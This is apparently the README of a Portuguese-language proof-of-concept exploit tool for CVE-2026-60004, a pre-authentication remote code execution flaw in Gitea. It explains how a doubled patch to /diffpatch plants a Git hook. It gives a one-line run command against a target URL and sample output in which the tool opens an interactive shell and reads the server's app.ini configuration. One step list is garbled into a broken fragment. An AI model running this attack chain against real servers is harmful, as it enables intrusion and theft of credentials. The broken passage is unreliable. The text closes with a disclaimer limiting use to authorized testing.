
CVE-2026-60004 — Gitea <= 1.27.0 RCE Pré-Autenticação
Este é um exploit de prova de conceito para o CVE-2026-60004, uma vulnerabilidade crítica de execução remota de código nas versões 1.17 a 1.27.0 do Gitea. O script automatiza toda a cadeia de exploração, desde o registro de usuário até o estabelecimento de um shell interativo e estável no servidor alvo.
A vulnerabilidade existe no endpoint /diffpatch da API. Ao enviar um patch malicioso duas vezes, uma colisão add/add aciona um fallback de merge de três vias que ignora a flag --cached e grava um hook Git executável diretamente no GIT_DIR do repositório bare. Quando o Git atualiza o index, ele executa automaticamente esse hook, permitindo a execução arbitrária de comandos como a conta de serviço do Gitea.
Como o Gitea é um binário Go compilado, sem um interpretador PHP embutido, implantar um webshell tradicional geralmente falha se não houver um servidor web secundário configurado para executá-lo. Para resolver isso e garantir que o exploit seja totalmente estável, este script usa uma abordagem orientada por API:
post-index-change por meio da colisão no diffpatch.cmd.sh), executa-o como a conta de serviço e grava a saída em um blob Git (proof).Isso cria um shell interativo totalmente funcional diretamente pela API do Gitea, sem exigir servidores web externos ou interpretadores secundários.
python3 poc.py https://target.com

Uma vez executado, o script registrará automaticamente uma conta, instalará o hook malicioso e colocará você em um shell interativo:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
Esta ferramenta destina-se apenas a fins educacionais e testes de segurança autorizados, como CTFs. Certifique-se de ter permissão explícita para testar o sistema alvo. O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
Chirag Artani - https://3rag.com